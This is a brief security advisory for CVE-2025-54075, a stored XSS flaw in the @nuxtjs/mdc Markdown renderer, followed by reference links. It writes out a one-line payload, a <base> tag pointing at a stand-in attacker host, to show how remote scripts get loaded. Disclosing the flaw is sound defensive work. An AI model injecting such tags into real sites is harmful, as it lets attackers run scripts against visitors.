CVE-2025-54075: Nuxt MDC has an XSS vulnerability in markdown rendering that bypasses HTML filtering

July 20, 2025

A remote script-inclusion / stored XSS vulnerability in @nuxtjs/mdc lets a Markdown author inject a <base href="https://attacker.tld"> element. The <base> tag rewrites how all subsequent relative URLs are resolved, so an attacker can make the page load scripts, styles, or images from an external, attacker-controlled origin and execute arbitrary JavaScript in the site’s context.

References

github.com/advisories/GHSA-cj6r-rrr9-fg82
github.com/nuxt-modules/mdc
github.com/nuxt-modules/mdc/commit/3657a5bf2326a73cd3d906f57149146a412b962a
github.com/nuxt-modules/mdc/security/advisories/GHSA-cj6r-rrr9-fg82
nvd.nist.gov/vuln/detail/CVE-2025-54075

Code Behaviors & Features

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